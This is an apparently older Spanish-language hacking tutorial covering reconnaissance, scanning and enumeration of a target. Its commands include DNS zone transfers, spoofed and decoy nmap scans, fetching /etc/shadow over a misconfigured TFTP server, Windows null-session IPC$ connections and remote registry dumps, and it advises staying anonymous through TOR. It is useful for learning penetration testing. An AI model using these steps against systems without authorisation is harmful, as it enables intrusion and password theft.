Sin Fronteras Digitales -[SFD]-
lord epsylon
|
|
|
"La Lista de Sinde" es una campaña en respuesta a la intencion del Gobierno Español de crear una comision censora en el Ministerio de Cultura con potestad para cerrar y bloquear webs sin previa orden judicial... +info
|
|
Introhack
Introducción |
Rastreo |
Exploración |
Captación |
Hacking 95/98/ME |
Hacking NT
Introducción
La experiencia se incrementa si valoras el conocimiento que puedes almacenar en tú cabeza, de igual manera que el que eres capaz de recopilar y mantener en una estantería.
Por eso, es preciso mantener un índice mental de los textos que tenemos a mano, y así permitirte poseer una variedad de referencias contrastadas, a través de la libre compartición de información, que facilitan resolver en un relativo corto período de tiempo las dudas más inverosímiles que nos surjan a lo largo de nuestra vida, por tanto, también podemos recordar muchas más cosas de temas diferentes, mejorándo nuestra capacidad de síntesis y de análisis."Firstly, hack your brain!" ;)
Tecnócratas infiltrados en gobiernos ignorantes, oligarquía financiera global y dependencia electrónica, mercenarios empresariales, traficantes de datos y sociedades secretas; todos ellos nos conducen a legislaciones que afectan a los derechos más fundamentales de las personas, usuarias o no de la red, e incrementan la brecha digital, condenando a los ciudadanos de los países despreocupados del tema y a los que no, a penas mentales como el FUD en un caso, o físicas como cárceles de máxima seguridad por un delito de "hacking" en el otro, donde no importa la opinión y no hay opción de emitirla, un modelo de sociedades de la información cuyo futuro se augura incierto para millones de personas, donde las ruedas de reconocimiento son para completar una búsqueda de posibles inocentes, la información es poder, internet es la mayor fuente de información de la humanidad, internet es una herramienta, quién domine internet controlará el mundo, internet es política, está pasando."Now!, hack your mind!"
Siempre es más complicado desaprender lo aprendido, que aprender algo nuevo. De todas maneras si búscas novedades, este "paper" no te sirve, contiene puntos de vista diferentes, y metodologías propias aplicadas a diferentes técnicas de hacking extensamente conocidas, si estás aprendiendo te ayudará a empezar, si vas "sobrao" quizás organices mejor tus índices mentales, así que también puede serte útil. ;)
Mientras dure, disfrútalo y difúndelo libremente. lord epsylon
Rastreo
Realizar un rastreo sistemático de un objetivo, permite crear un perfil completo de su política de seguridad, así como un mapa nodal de su infraestructura. Existen diferentes herramientas y técnicas para llevarlo a cabo, pero generalmente todas tienen la finalidad de obtener datos relativos a nombres de dominio, bloques de redes, direcciones IP individuales y conexiones con otras redes. Es decir, descubrir toda la información relacionada con: Internet, intranet, accesos remotos y extranet.
Internet:
-Nombres de dominio
-Bloques de red
-Direcciones IP alcanzables
-Servicios TCP/UDP que se están ejecutando
-Tipo de arquitectura que utiliza el sistema (x86,SPARC,etc)
-Mecanismos de control de acceso y las listas de control de acceso (ACL)
-Sistemas de detección de intrusiones (IDS)
-Datos relacionales del sistema (nombres de usuario y grupos, banners del sistema, tablas de direccionamiento e información sobre SNMP)
Intranet:
-Protocolos de red que se usan (IP,IPX,etc)
-Nombres de dominio internos
-Bloques de red
-Direcciones IP de determinados sistemas accesibles vía intranet
-Servicios TCP/UDP que se están ejecutando
-Tipo de arquitectura que utiliza el sistema (x86,SPARC)
-Mecanismos de control de acceso y las listas de control de acceso (ACL)
-Datos relacionales del sistema (nombres de usuario y grupos, banners del sistema, tablas de direccionamiento e información sobre SNMP)
Acceso remoto:
-Tipo de sistema remoto
-Mecanismos de autenticación
-VPNs y protocolos IPSEC o PPTP
-Números de teléfono analógicos y digitales (VOIP)
Extranet:
-Origen y destino de las conexiones
-Tipos de conexión
-Mecanismos de control de accesos
Un rastreo se debe efectuar de forma segura y ordenada. Dependiendo de la intencionalidad, una forma de asegurar el rastreo es ser anónimo, esto se consigue utilizando un proxy (TOR). Otra buena practica para ordenar el rastreo es cerrar todos aquellos programas que no vayamos a usar, reduciendo el tráfico al mínimo necesario.
Como punto de partida, examinar la página web del objetivo nos proporcionará una buena cantidad de información. Por ejemplo, si se tratara de una empresa, podemos sacar datos sobre:
-Ubicaciones de sedes
-Compañías relacionadas
-Nombres de contacto y direcciones de correo
-Números de teléfono
-Directivas de seguridad
-Empresas de diseño, programación y seguridad del sitio web relacionadas
-Otros (inversiones en bolsa, adquisiciones, fusiones, relaciones contras empresas)
Lo siguiente es analizar el código fuente. Utilizar un crawler para observar el árbol web nos ayudará a comprender el funcionamiento de la misma, o si lo deseamos, podemos descarganos de forma completa el sitio web para trabajar en local (lo cual mejora la velocidad de nuestro análisis evitando hacer continuas peticiones HTTP en Internet), con "wget -r http://www.objetivo.com". (los win32 pueden usar Teleport Pro)
Dentro del código HTML podemos buscar comentarios que nos sirvan para ampliar el perfil recopilado, suelen llevar las siguiente etiquetas "<", "!","--"
Una vez analizado el código, podemos realizar búsquedas abiertas en diferentes buscadores. Hacerlo nos proporcionará información sobre el estado del objetivo, y algunos matices sobre su seguridad.
Google funciona bastante bien para realizar ésta tarea. Visitar la Google Hacking Database nos ayudará a completar nuestro perfil inicial. Mediante las búsquedas avanzadas podemos obtener información sobre los enlaces que existen al sitio web objetivo. Quizás encontremos una web asociada al objetivo no segura. También podremos hacer alguna búsqueda de vulnerabilidades, aunque dicha tarea es mejor dejarla para después.
Recomendación: Site Security Handbook (RFC 2196)
Una vez realizado el rastreo, podemos pasar a la tarea de enumerar la red. Lo que haremos en primer lugar será identificar los nombres de dominio y redes asociadas al objetivo. Los nombres de dominio representan al objetivo en Internet, por ejemplo, "objetivo.com".
Existen diversas bases de datos Whois para consultar. Hasta el año 2000, la empresa Network Solutions tenía el monopolio como registro principal de dominios, pero en la actualidad existen multitud de registros válidos
Las consultas Whois nos permiten obtener información relativa a:
-Registro de la web
-Registro del contratante
-Registro de dominio
-Registro de la red, servidores DNS primario y secundario
-Fechas de creación y expiración de dominios
-Información referente a una determinada persona (generalmente el administrador)
Podemos usar los siguientes recursos para obtener esos datos:
*Sitio web de ARIN
*En Unix, utilizar el comándo "whois"
*En Win32, podemos usar las herramientas Netscan
*Los diferentes sitios web internacionales de Europa y Asia-Pacífico (RIPE - APNIC)
*Los sitios web del gobierno de los EEUU (whois.nic.gov) y del ejercito (whois.nic.mil)
Vamos a trabajar con UNIX ($ man whois). Podemos utilizar la opción -a para especificar que busque en la base de datos que le pidamos. La opción -F para activar el modo rápido y la opción -H para evitar el printeo de la licencia.
$ whois -a www.ripe.net -H -F www.objetivo.com
$ whois -H www.objetivo.com
Este tipo de consulta nos proporciona diversa información que añadimos al perfil creado.
A continuación pasamos a la fase de consulta DNS. Si un DNS se encuentra mal configurado, podemos encontrar información muy relevante sobre nuestro objetivo.
Uno de los fallos mas graves es permitir realizar una transferencia de zona de DNS a cualquiera que se la solicite desde Internet. Podemos evitarlo de la siguiente forma.
Las transferencias de zona permiten que un servidor secundario actualice su base de datos de zona a partir del servidor maestro primario. Esto se realiza para duplicar la información contenida en el DNS, por si el servidor principal deja de funcionar. Normalmente sólo los servidores DNS secundarios requieren realizar una transferencia de zona DNS. Sin embargo, a veces no sucede así, y nos encontramos con una mala configuración. Dicho escenario no es demasiado perjudicial para el objetivo, pero si ofrece cierta información al atacante.
A veces sucede que el fallo crítico en las DNS afecta a muchas máquinas en Internet, y aprovecharlo puede servir para algo más que obtener datos del objetivo.
Un problema más grave es cuando el objetivo no utiliza un mecanismo de DNS público/privado para separar la información de DNS externa de la interna, la cual debe ser privada. Si sucede, un atacante puede ver los nombres de los hosts internos y sus direcciones IP. Información muy útil para la creación de un mapa interno de la red.
Para realizar una transferencia de zona podemos usar varias herramientas. La más común puede ser NSLookup (presente en UNIX y Win32)
$ nslookup
> set all
Default server: 80.58.xx.xxx
Address: 80.58.xx.xxx#53
Default server: 80.58.xx.xxx
Address: 80.58.xx.xxx#53
Set options:
novc nodebug nod2
search recurse
timeout = 0 retry = 3 port = 53
querytype = A class = IN
srchlist =
> set class=any
> set type=any
> set all
Default server: 80.58.xx.xxx
Address: 80.58.xx.xxx#53
Default server: 80.58.xx.xxx
Address: 80.58.xx.xxx#53
Set options:
novc nodebug nod2
search recurse
timeout = 0 retry = 3 port = 53
querytype = any class = any
srchlist =
>ls -d objetivo.com. >> /tmp/zonas_dns
(la opción ls no está implementada por defecto en las distribuciones Unix, revisar man nslookup)
Si hemos implementado dicha opción, podemos obtener una salida al fichero zonas_dns, con los datos de los dominios. Para cada entrada tenemos un registro "A" que muestra la dirección IP del nombre del sistema que aparece a la derecha. Los hosts, cuentan con un registro "HINFO" que identifica la plataforma, o el tipo de sistema operativo (RFC-952). Los registros HINFO no son necesarios, pero muestran datos relevantes.
Podemos usar "grep" para hacer búsquedas internas en el fichero. Por ejemplo, si queremos ver si usan algún tipo de servidor de Solaris, podemos buscar un registro HINFO relacionado.
$ grep -i solaris /tmp/zonas_dns |wc -l
14
A veces existen sistemas en pruebas, y una forma de encontrarlos puede ser la siguiente.
$ grep -i test /tmp/zonas_dns |wc -l
3
Podemos hacer un repaso de vulnerabilidades conocidas en este punto.
Realizar este método permite consultar nombres de servidor de uno en uno, lo que significa que si existieran subdominios, deberíamos repetir dicha acción para cada uno. Para ello, existen muchas herramientas que aceleran el proceso, como son "host" y "dig"
$ host -l -v -t any objetivo.com
Podemos usar la potencia de "cut" para obtener las direcciones IP a partir del comando host, y llevarlas a un fichero de texto.
$ host -l objetivo.com |cut -f 4 -d " " >> /tmp/ips
Lo siguiente que podemos hacer es determinar los registros de intercambio de correo (MX). Hacerlo nos puede servir para localizar la red de cortafuegos del objetivo, ya que en ocasiones, se utiliza la misma dirección.
$ host -v --type=any objetivo.com
Puede proporcionarnos una salida que contenga:
xxxxx.net has address 80.58.xx.xxx
xxxxx.net mail is handled (pri=10) by mail.xxxxx.net
xxxxx.net mail is handled (pri=20) by smtp-forward.xxxxx.net
Una vez identificadas las redes, podemos tratar de obtener la topología que utilizan. Para ellos podemos usar la herramienta "Traceroute" (incluída en UNIX y algunos Win32)
Traceroute permite ver la ruta que sigue un paquete IP desde un host al siguiente. Para ello utiliza la opción "time-to-live" (TTL) del paquete IP para obtener un mensaje ICMP TIME_EXCEEDED de cada router por el que pasa. Por cada salto, se obliga al router a disminuir el campo TTL. De esa forma, éste se convierte en un contador de saltos.
$ traceroute xxxx.net
traceroute to xxxxx.net (86.109.xxx.xxx), 30 hops max, 40 byte packets
1 192.168.1.1 (192.168.xxx.xxx) 2.493 ms 4.141 ms 5.636 ms
2 192.168.153.1 (192.168.xxx.xxx) 84.457 ms 125.765 ms 130.696 ms
3 xxx.Red-81-46-xx.staticIP.rima-tde.net (81.46.xx.xxx) 137.136 ms 138.861 ms 139.948 ms
4 195.95.xxx.xx (195.95.xxx.xx) 165.425 ms 166.194 ms 170.472 ms
5 212.0.xx.xxx (212.0.xx.xxx) 189.044 ms 190.619 ms 194.815 ms
6 80.169.xx.xx (80.169.xx.xx) 208.935 ms 80.990 ms 80.440 ms
7 86.109.xxx.xxx (86.109.xxx.xxx) 147.813 ms 148.592 ms 150.790 ms
A veces encontraremos que existen listas de control de accesos (ACL) que nos denegarán determinados saltos, dejando incompleta la traza.
La opción "-P n" de traceroute nos permite especificar un puerto de partida UDP con el número "n" que se irá incrementando en 1 cuando se ejecute. Lo cual no nos permite usar un puerto fijo, excepto, si utilizamos un parche para traceroute, el cual añade la opción "-S", que impide el incremento del número de puerto de traceroute. Ésto nos permite asociar un puerto fijo a cada paquete que enviemos, y así tratar de saltarnos el ACL (Firewalking). El puerto típico es el UDP 53. Ya que muchos sitios permiten las consultas DNS, es muy probable que pasemos nuestros paquetes a través de las listas de control impuestas.
Exploración
La tarea de exploración es similar a la de un ciego que palpa una pared para buscar una puerta. Pero siempre es posible usar algunos trucos que nos facilitan la labor. Mediante el uso de determinadas técnicas, como son los barridos ping, los escaneos de puertos y las búsquedas automatizádas, podremos determinar que máquinas se encuentran a la escucha (vivas). y cuales son accesibles desde Internet.
Para determinar si un sistema se encuentra a la escucha, la herramienta más clásica es Ping. Con ella, Envíamos paquetes ICMP ECHO al sistema objetivo, con objeto de obtener un ICMP ECHO_REPLY que nos indique que el sistema está activo. Aunque el envio de pings es aceptable para redes pequeñas, si nos encontramos en una de mayor tamaño, es posible que nos lleve horas determinar todos los puntos activos de la red. Para reducir dicho tiempo se utilizan las herramientas de barrido de ping.
Existen algunas muy útiles como fping, que permite Envíar varias peticiones en paralelo a gran velocidad, así como leer entradadas de rangos de IP desde un fichero, mostrando los sistemas activos, los nombres de los hosts, etc. Personalmente prefiero usar Nmap u Openvas por se pueden usar de muchas formas y para fines muy distintos.
# nmap -sP 192.168.1.0/24
Starting Nmap 4.53 ( http://insecure.org ) at 2008-08-20 16:26 CEST
Host 192.168.1.1 appears to be up.
MAC Address: 00:01:38:68:CE:6C (XAVi Technologies)
Host 192.168.1.14 appears to be up.
MAC Address: 00:19:7E:BE:7B:4B (Hon Hai Precision Ind. Co.)
Host 192.168.1.129 appears to be up.
Host 192.168.1.130 appears to be up.
MAC Address: 00:13:02:09:5D:43 (Intel Corporate)
Nmap done: 256 IP addresses (4 hosts up) scanned in 5.137 seconds
Es posible que el sitio objetivo trate de bloquear el tráfico ICMP mediante el uso de un cortafuegos.
Cuando el tráfico ICMP se encuentra bloqueado, el escaneo de puertos es la mejor técnica para encontrar los hosts activos. Aunque es algo más lento, mediante Nmap podemos realizar barridos TCP ping a un puerto determinado. Generalmente usaremos aquellos que sabemos que tienen el tráfico permitido como son SMTP(25), HTTP(80), POP(110), AUTH(113), IMAP(143). Usaremos esos puertos porque sabemos que son los más comúnes que sea posible acceder a la zona desmilitarizada (DMZ) desde su router o desde el cortafuegos. Por tanto, Envíaremos varios paquetes TCP ACK a la red objetivo, y esperaremos la respuesta RST que nos indicarára que el host se encuentra activo, pasando a través del cortafuegos (Firewalking).
# nmap -sP -PT25 192.168.0/24
Tambiés es posible que el objetivo utilice algún software de seguridad (IDS) para detectar la realización de barrios, como puede ser Snort
El siguiente paso de saber que el objetivo se encuentra activo, es tratar de obtener más información mediante paquetes ICMP. Por ejemplo, podemos usar Sing para modificar las cabeceras de los paquetes y realizar peticiones distintas. Se puede Envíar un mensaje ICMP ADDRESS MASK REQUEST para solicitar la máscara de red de un determinado dispositivo, un mensaje ICMP TIMESTAMP, para conocer en que zona horaria se encuentra, aunque es cierto, que no todos los routers permiten dichas respuestas.
Esto nos conduce al escaneo de puertos. Cuyas técnicas creadas por Fyodor para Nmap son diversas y muy útiles:
Escaneo de conexión TCP
Conecta con el puerto objetivo y ejecuta una traza de enlace completa con paquetes SYN, SYN/ACK, ACK). Es fácilmente detectable.
Escaneo TCP SYN
Los paquetes no realizan una conexión TCP completa, y en su lugar se Envía un paquete SYN al puerto objetivo. Si el mensaje que devuelve completa un SYN/ACK de ese puerto, podemos deducir el estado como LISTENING. Si por el contrario nos devuelve un paquete RST/ACK, quiere decir que el puerto seguramente, no se encuentre escuchando. Es una técnica algo más sigilosa.
Escaneo TCP FIN
Envía un paquete FIN al puerto destino (RFC793), y el sistema objetivo tiene que Envíarle un RST por cada puerto que tenga cerrado. Por deducción podemos obtener los abiertos. Es una técnica recomendada para pilas TCP/IP de Unix.
Escaneo Árbol de navidad TCP
Envía paquetes FIN, URG y PUSH al puerto objetivo (RFC793), de nuevo el sistema devolverá los puertos cerrados.
Escaneo Null TCP
Desactiva todos los indicadores, y de nuevo basándose en el RFC793, el sistema devolverá una RST con los puertos cerrados.
Envía paquetes FIN, URG y PUSH al puerto objetivo (RFC793), de nuevo el sistema devolverá los puertos cerrados.
Escaneo TCP ACK
Muy útil para conocer las reglas del cortafuegos, ya que permite determinar si se trata de un filtro simple que sólo permite las conexiones predefinidas (aquellas con los bits del ACK), o se trata de un cortafuegos completo que realiza filtros avanzados.
Escaneo de ventanas TCP
Detecta los puertos abiertos, filtrados y cerrados en máquinas tipo FreeBSD o AIX (según parece por una anomalía en el tamaño de las ventanas TCP.
Escaneo TCP RPC
Ideal para las máquinas UNIX, y nos sirve para detectar el puerto que usan del protcolo RPC, así como su número de versión, y programas que se encuentran en ejecución.
Escaneo UDP
Envía un paquete UDP al puerto del objetivo. Si nos responde "puerto ICMP no alcanzable", es que el puerto se encuentra cerrado. Sino lo recibimos es que se encuentra abierto. De todas maneras, no es muy fiable.
Escaneo con señuelo
La idea es saturar las peticiones con información inválida y generar un escaneo de señuelo que evite detectar el real. El sistema objetivo tendrá que responder a todas las peticiones que recibe, y creará pistas falsas.
Además con Nmap podemos realizar "spoofing" de la dirección IP desde la que parte el escaneo.
$ sudo nmap -PN -sV -O -S 192.168.1.1 -e eth1 192.168.1.14
$ sudo nmap -sF -vv 192.168.1.0/24 -oN fichero.txt
Una vez añadidos los datos al perfil, pasamos a la fase de rastreo de pilas
Los fabricantes de pilas IP no suelen seguir a rajatabla la normativa RFC específica. Lo cual permite a una herramienta de escaneo hacer suposiciones sobre el tipo de Sistema Operativo que usa la máquina objetivo, a pesar de que ésta no tenga ningún puerto abierto.
Para saberlo, podemos usar una serie de técnicas de sondeo.
Sondeo FIN
Enía un paquete FIN a uno de los puertos abiertos de la máquina objetivo. Según la normativa RFC no debería responder, sin embargo muchos entornos como el de Win32 NT devuelven un FIN/ACK.
Sondeo Bogus Flag
Se introduce una bandera TCP mal definida dentre de una cabecera TCP de un paquete SYN. En sistemas como GNU/Linux, responderán con esa misma bandera dentro de su paquete de respuesta.
Sondeo por Número de Secuencia Inicial (ISN)
Lo que hace es buscar un patrón dentro de los paquetes que le resulte conocido, dentro de la secuencia inicial de los mismos, cuando responde a una petición de conexión.
Sondeo de "Bit de No Fragmentacióm
<
Determinados Sistemas Operativos activan esa opción para mejorar el rendimiento. Analizando si se encuentra dentro de los paquetes, nmap puede determinar con bastante precisión el Sistema Operativo del que se trata.
Sondeo de ventana inicial TCP
Analiza el tamaño de la ventana inicial recibida en los paquetes de respuesta, en determinadas pilas es un valor único, por tanto es sencillo saber de que SO se trata.
Sondeo de valor ACK
Las pilas IP son diferentes en el valor de la secuencia que usan en el campo ACK. Unos responden con el mismo valor enviado, y otros con ese número +1.
Sondeo de mensajes ICMP
Algunos SO cumplen con la RFC1812 y limitan la velocidad con la que envían los mensajes de error para ganar en rendimiento. Si se envían paquetes UDP a algún puerto aleatorio que tenga un número elevado, es posible contar el número de mensajes recibidos no contestados en un intervalo de tiempo determinado, con objeto de saber de que SO se trata.
Sondeo de servicio (TOS)
En los mensajes del tipo "ICMP Port Unrecheable" se puede examinar el TOS. Generalmente se utiliza un valor de 0, pero en algunas pilas cambia.
Sondeo de la fragmentación
Cada pila recompone los paquetes a su manera, y por tanto es posible determinar ciertos patrones cuando realizan la fragmentación de los mismos.
$ sudo nmap -sS -sV -O 192.168.1.14
Starting Nmap 4.53 ( http://insecure.org ) at 2008-08-20 21:22 CEST
All 1714 scanned ports on 192.168.1.14 are filtered
MAC Address: 00:19:7E:BE:7B:4B (Hon Hai Precision Ind. Co.)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Longhorn|Vista
OS details: Microsoft Windows Longhorn, Microsoft Windows Vista, Microsoft Windows Vista Business, Microsoft Windows Vista Business [Winver: Version 6.0 (Build 6000)]
Network Distance: 1 hop
También podemos hacer un rastreo de las pilas pasivo
Por ejemplo, si analizamos los atributos TTL (tiempo de vida del paquetes), DF (el bit de no fragmentación, el tamaño de la ventana y el TOS de los paquetes del sistema objetivo, y lo compramos con una base de datos conocida, podemos saber de que Sistema Operativo se trata.
En la web de Nmap encontramos un documento muy detallado que trata la detección de Sistemas Operativos.
Captación
Una vez indetificados los hosts activos, y los servicios que se encuentran en ejecución, lo siguiente es hacer pruebas en los servicios indentificados para buscar vulnerabilidades conocidas. Es decir, en esta fase se realizan peticiones reales que pueden ser registradas.
Captura de Titulares
Se trata de una conexión a aplicaciones remotas cuyo objetivo es estudiar la salida obtenida, y así poder obtener datos como la marca y el modelo del servicio en ejecución, que posteriormente servirán para la ejecución de posibles ataques
Tenemos las clásicos, que son aquellas peticiones realizadas con Telnet y Netcat
Un ejemplo práctico sería el siguiente.
$ nc -nvv 86.109.xxx.xxx 21(UNKNOWN) [86.109.xxx.xxx] 21 (ftp) open
220 ProFTPD 1.3.0 Server (ProFTPD) [86.109.xxx.xxx]
sent 0, rcvd 53
Un repaso a las vulnerabilidades conocidas podría ser el comienzo de una intrusión, si alguno de los servicios no estuviera correctamente actualizado o depurado.
Las pruebas se pueden realizar con diferentes puertos.
SMTP, TCP 25
El Protocolo Simple de Transferencia de Correo (SMTP) se utiliza en la entrega de correo en Internet, normalmente se ejecuta en el puerto TCP número 25, y cuenta, aunque las versiones más recientes impiden su empleo, con dos comandos predefinidos que permiten enumerar los usuarios. VRFY, que se encarga de confirmar los nombres de los usuarios válidos, y EXPN, que muestra las direcciones reales de entrega de listas de correos y sus respectivos alias. Es complicado encontrar servicios que aún respondan a dichas peticiones, pero puede darse el caso
$ telnet 98.342.xxx.xx 25
Trying 98.342.xxx.xx...
Connected to 98.342.xxx.xx.
Escape character is '^]'.
220 mail.xxxxx.com ESMTP Sendmail 8.8.7/8.8.7; 11 Apr 2002
vrfy root
250 root
expn admin
250 admin
quit
221 mail.xxxxx.com closing connection
DNS, TCP 53
El Sistema de Nombres de Dominio (DNS), se encarga de relacionar las direcciones IP de los hosts con nombres que el ser humano sea capaz de asimilar, generalmente este servicio se ejecuta en el puerto TCP número 53.
Una de las técnicas más conocidas es la de "Transferencia de zona DNS", que se puede realizar contra servidores DNS mal configurados. Consiste en volcar todo el contenido de los archivos de zona de un determinados dominio, y así poder obtener diversa información sobre el objetivo. Ya vimos en la fase de exploración como se realiza.
Sin embargo, podemos llegar más lejos, por ejemplo, si el servidor objetivo ejecuta los servicios DNS de Microsoft para dar soporte al Active Directory (AD), existen muchas posibilidades de obtener gran cantidad de información. Active Directory basa su espacio de nombres en el servicio DNS, la implementación de dicho servicios en las máquinas de Microsoft, anuncia servicios de dominios tales como AD y Kerberos, utilizando para ello el registro DNS SRV (RFC 2052), que permite la localización de servidores según el tipo de servicio que ofrecen (LDAP, FTP, WWW, etc), y por el protocolo que utilizan (TCP,UDP).
Por ejemplo, vemos una tabla recogida en una búsqueda común:
$ nslookup
> ls -d xxxxx.com
[[98.342.xxx.xx]]
xxxxx.com. SOA inter.xxxxx.com admin.
xxxxx.com. A 98.342.xxx.xxx
xxxxx.com. NS inter.xxxxx.com
...
_gc._tcp SRV priority=0, weight=100, port=3268, inter.xxxxx.com
_kerberos._tcp SRV priority=0, weight=100, port=88, inter.xxxxx.com
_kpasswd._tcp SRV priority=0, weight=100, port=464, inter.xxxxx.com
_ldap._tcp SRV priority=0, weight=100, port=389, inter.xxxxx.com
Podemos observar la ubicación del servicio de Catálogo global de dominio (_gc._tcp), los controladores de dominio que utilizan la autenticacioón de Kerberos (_kerberos._tcp), los servidores LDAP (_ldap._tcp), además de los números de puerto que tienen asociados.
Para el RFC 2052, el formato para los registros recogidos en SRV es el siguiente:
Service.Proto.Name TTL Class SRV Priority Weight Port Target.
TFTP, TCP/UDP 69
El Protocolo Trivial de Transferencia de Archivos (TFTP) es inseguro por autonomasia, se ejecuta en texto claro, carece de un mecanismo de autenticación, y destruye cualquier intento de ACL en el sistema de ficheros si no se encuentra bien configurado. Generalmente lo encontramos en el puerto 69, pudiendo estar en el protocolo TCP o el UDP.
Es raro encontrarlo, pero puede darse el caso de que alguien lo use, y además, que haya olvidado envolverlo con TCP Wrappers para restringir su acceso, o que no haya limitado el acceso al directorio /tftpboot. Podemos ver un ejemplo en laboratorio de lo sencillo que sería obtener datos relevantes como las passwords del sistema, si alguien hubiera olvidado configurar dicho servicio de forma correcta:
$ tftp 192.168.x.xx
tftp> connect 192.168.x.xx
tftp> get /etc/shadow /tmp/passwords_objetivo
tftp> quit
Finger, TCP/UDP 79
Finger es una utilidad propia de Unix/Linux. Cuando la red estaba poblada por unos pocos ordenadores, era una buena herramienta para obtener información sobre los servidores. Ahora es complicado que nos encontremos con gente que la use, pero puede darse el caso, como vemos en el siguiente ejemplo:
$ finger -l @xxxxx.com
Login: alain Name: Alain XXXXXXX XXXXX
Directory: /home/alain Shell: /bin/bash
On since Fri Aug 22 15:18 (CEST) on tty7 from :0
No mail.
No Plan.
& finger alain@89.122.xxx.xx
Login Name Tty Idle Login Time Office Office Phone
alain alain tty7 Aug 22 15:18 (:0) 9x-xxx-xxx
La información quizás más importante es la del nombre del usuario, y el tiempo de inactividad. En el ejemplo, debemos tener cuidado, pues el usuario se encuentra ahora mismo conectado. También podemos ver un teléfono de oficina disponible para añadir a nuestro perfil.
HTTP, TCP 80
Creamos un fichero de texto con el nombre "nudge.txt" que contenga lo siguiente:
HEAD / HTTP/1.0
QUIT
HELP
ECHO
Y a continuación lanzamos el siguiente comándo de escucha (hace falta presionar INTRO un par de veces trás ejecutarlo):
$ nc -nvv -o cabeceras.txt 86.109.xxx.xxx 80 < nudge.txt
(UNKNOWN) [86.109.xxx.xxx] 80 (www) open
HTTP/1.1 400 Bad Request
Date: Fri, 22 Aug 2008 16:01:18 GMT
Server: Apache/2.0.52 (CentOS)
Connection: close
Content-Type: text/html; charset=iso-8859-1
sent 59, rcvd 161
Podemos ver la salida "Server", que nos indica la marca, y el modelo de servidor que tiene la máquina objetivo.
Si nos encontramos con un servidor que utilice Secure Socket Layer (SSL), podemos usar netcat para negociar las conexiones cifradas, de manera que podamos redirigir la salida mediante Openssl, y así poder recopilar los datos que buscabamos.
Los titulares pueden ser modificados, por ejemplo, utilizando filtros ISAPI mediante la función SetHeader. Pero es probable encontrarse con gran cantidad de salidas reales de datos.
Microsoft RPC, TCP 135
El sistema portmapper denominados Llamada de Procedimiento Remoto (RPC), suele ejecutarse en algunas máquinas de Microsoft sobre el puerto TCP número 135. Realizando determinadas consultas se pueden obtener datos referentes a aplicaciones y servicios disponibles en la máquina objetivo. Veamos un ejemplo utilizando la herramienta Epdump
>epdump mail.xxxxx.com
binding is 'ncacn_ip_tcp:mail.xxxx.com'
int 82ad4280-036b-11cf-972c-00aa006887b0 v2.0
binding 0000000-etc.@ncalrpc:[INETINFO_LPC]
annot ''
int 82ad4280-036b-11cf-972c-00aa006887b0 v2.0
binding 0000000-etc.@ncacn_ip_tcp: 183.154.xxx.xxx[1051]
annot ''
int 82ad4280-036b-11cf-972c-00aa006887b0 v2.0
binding 0000000-etc.@ncacn_ip_tcp: 10.0.0.13[1051]
annot ''
no more entries
Podemos indentificar en dicha salida varios datos de importancia. Primero, las direcciones IP que aparecen, son las de aquellas máquinas que utilizan las aplicaciones MSRPC. Si nos fijamos en la segunda, podemos ver que se trata de una dirección de red interna, lo que nos indica que la máquina objetivo cuenta probablemente con dos interfaces de red diferentes, y que una de ella se encuentra encarada hacia la red interna.
Netbios, UDP 137
El Servicio de Nombres de NetBIOS (NBNS) es un sistema de denominación distribuida para las redes basadas en Microsoft Windows. A partir del Windows 2000, NBNS ya no es necesario, habiendo sido sutituido por el estándar de Internet conocido como DNS. Sin embargo, se encuentra activo de forma predeterminada en todas las distribuciones Windows.
Para realizar un escaneo de toda la red y obtener los servicios podemos usar la herramienta nbtscan, que se encuentra en las distribuciones GNU/linux de base.
Mediante la siguiente tabla podemos interpretar la salida:
host:nombre de equipo[00] - Servicio Workstation
host:nombre de dominio[00] - Nombre de dominio
host:nombre de equipo[03] - Servicio Messenger (para la mensajeria interna hacia este equipo)
host:nombre de usuario[03] - Servicio Messenger (para la mensajeria interna hacia este usuario)
host:nombre de equipo[20] - Servicio Server
host:nombre de dominio[1D] - Master Browser
host:nombre de dominio[1E] - Servicio del explorador
host:nombre de dominio[1B] - Domain Master Browser
-----------------------------------------------
$ sudo nbtscan -v -s : 192.168.1.0/24
192.168.1.0 Sendto failed: Permission denied
192.168.1.129:VENTISKA :00U
192.168.1.129:VENTISKA :03U
192.168.1.129:VENTISKA :20U
192.168.1.129:VENTISKA :00U
192.168.1.129:VENTISKA :03U
192.168.1.129:VENTISKA :20U
192.168.1.129:__MSBROWSE__:01G
192.168.1.129:WORKGROUP :1dU
192.168.1.129:WORKGROUP :1eG
192.168.1.129:WORKGROUP :00G
192.168.1.129:WORKGROUP :1dU
192.168.1.129:WORKGROUP :1eG
192.168.1.129:WORKGROUP :00G
192.168.1.129:MAC:00:00:00:00:00:00
192.168.1.255 Sendto failed: Permission denied
Con desactivar los servicios Alert y Messenger en el host solucionariamos el problema, pero hay versiones anteriores al Windows 2000 que no permiten hacerlo. De todas maneras, bloquear el tráfico en el puerto UDP 137 estaría perjudicando la resolución de nombres de la red, por tanto, es probable que se encuentre activo.
Netbios, TCP 139
La enumeración Server Message Block (SMB) es posible sobre TCP 139, es decir la sesión de NetBIOS, y sobre TCP 445, denominada "host directo". Ambos puertos dan acceso al mismo servicios, aunque con diferentes transportes.
El ataque de sesión nula de Windows, es uno de los mejores ejemplos.
C:\>net use \\192.168.1.14\IPC$ "" /u: ""
El comando permitirá una conexión con el recurso "compartido" oculto de las comunicaciones entre procesos (IPC$), de la dirección 192.168.1.14, con el usuario anónimo, y contraseña nula. Si tiene éxito, es buen momento para recopilar información referente a la red, recursos compartidos, usuarios, grupos, claves del registro y demás
C:\>net view \\alain
Shared resources at \\192.168.1.14
ALAIN
Share name Type Used as Comment
------------------------------------------------------------------
ALAIN Disk Disco duro
The command completed successfully
Existen diferentes herramientas que permiten mostrar más información sobre los recursos compartidos, un ejemplo es DumpSec
Lo siguiente que podemos hacer, es obtener información sobre el registro del sistema del objetivo.
Generalmente, el registro solamente puede ser accedido por el Administrador, y no mediante sesiones nulas, excepto, si la clave HKLM\System\CurrentControlSet\Control\SecurePipeServer\Winreg\AllowedPaths especifica que se puede acceder a otras claves utilizando sesiones nulas, de manera, que de forma predeterminada, algunos sistemas permiten el acceso a la clave HKLM\Software\Microsoft\WindowsNT\Current Version\.
C:\>regdmp -m \\192.168.1.129 HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Current Version\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Current Version\Run
SystemTray= SysTray.exe
